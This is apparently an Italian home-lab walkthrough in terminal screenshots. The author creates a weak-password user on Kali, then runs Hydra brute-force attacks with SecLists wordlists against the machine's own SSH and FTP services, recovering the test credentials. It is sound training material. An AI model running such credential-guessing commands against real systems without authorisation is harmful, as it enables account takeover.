

```
kali@kali: ~  
  
(kali@kali)-[~]  
$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
    Full Name []:  
    Room Number []:  
    Work Phone []:  
    Home Phone []:  
    Other []:  
Is the information correct? [Y/n] y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...
```

Iniziamo creando un nuovo utente

```
test_user@kali: ~  
  
(kali㉿kali)-[~]  
$ sudo service ssh start  
[sudo] password for kali:  
  
(kali㉿kali)-[~]  
$ ssh test_user@192.168.1.100  
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.  
ED25519 key fingerprint is SHA256:dmZ8zn9mgt4L3r9OfGmg1aaVCxYU+HiWM7HuBJfjQtg.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '192.168.1.100' (ED25519) to the list of known hosts.  
test_user@192.168.1.100's password:  
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
(test_user㉿kali)-[~]  
$
```

avviamo il servizio ssh con l'utente appena creato

```
kali@kali: ~  
test_user@kali: ~  
kali@kali: ~  
(kali@kali)-[~]  
$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt 192.168.1.100 -t4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:17:12  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 837841056 login tries (l:8295456/p:101), ~209460264 tries per task  
[DATA] attacking ssh://192.168.1.100:22/  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "123456" - 1 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "kali" - 2 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "password" - 3 of 837841056 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "12345678" - 4 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "qwerty" - 5 of 837841056 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "123456789" - 6 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "12345" - 7 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "1234" - 8 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "111111" - 9 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "1234567" - 10 of 837841056 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "dragon" - 11 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "123123" - 12 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "baseball" - 13 of 837841056 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "abc123" - 14 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "football" - 15 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "monkey" - 16 of 837841056 [child 3] (0/0)
```

```
kali@kali: ~  
test_user@kali: ~  
kali@kali: ~  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "nicole" - 293 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "chelsea" - 294 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "biteme" - 295 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "matthew" - 296 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "access" - 297 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "yankees" - 298 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "987654321" - 299 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "dallas" - 300 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "austin" - 301 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "thunder" - 302 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "2000" - pass "taylor" - 303 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123456" - 304 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "kali" - 305 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "password" - 306 of 837841056 [child 1] (0/0)  
[22][ssh] host: 192.168.1.100 login: test_user password: kali  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "123456" - 405 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "kali" - 406 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "password" - 407 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "12345678" - 408 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "qwerty" - 409 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "123456789" - 410 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "12345" - 411 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "1234" - 412 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "111111" - 413 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "michael" - pass "1234567" - 414 of 837841056 [child 1] (0/0)  
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Avviamo il bruteforce di Hydra come da immagine

```
kali@kali: ~  
test_user@kali: ~  
kali@kali: ~  
(kali@kali)-[~]  
$ sudo hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt  
192.168.1.100 ftp 192.168.1.100  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non  
-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:41:42  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.resto  
re  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 837841056 login tries (l:8295456/p:101), ~52365066 tries per task  
[DATA] attacking ftp://192.168.1.100:21/192.168.1.100  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123456" - 1 of 837841056 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "kali" - 2 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "password" - 3 of 837841056 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345678" - 4 of 837841056 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "qwerty" - 5 of 837841056 [child 4] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123456789" - 6 of 837841056 [child 5] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345" - 7 of 837841056 [child 6] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "1234" - 8 of 837841056 [child 7] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "111111" - 9 of 837841056 [child 8] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "1234567" - 10 of 837841056 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "dragon" - 11 of 837841056 [child 10] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123123" - 12 of 837841056 [child 11] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "baseball" - 13 of 837841056 [child 12] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "abc123" - 14 of 837841056 [child 13] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "football" - 15 of 837841056 [child 14] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "monkey" - 16 of 837841056 [child 15] (0/0)  
[21][ftp] host: 192.168.1.100 login: test_user password: kali  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "123456" - 102 of 837841056 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "kali" - 103 of 837841056 [child 9] (0/0)  
[ATTEMPT] target 192.168.1.100 - login "info" - pass "password" - 104 of 837841056 [child 3] (0/0)
```

dopo aver scaricato e avviato il servizio ftp ripetiamo l'attacco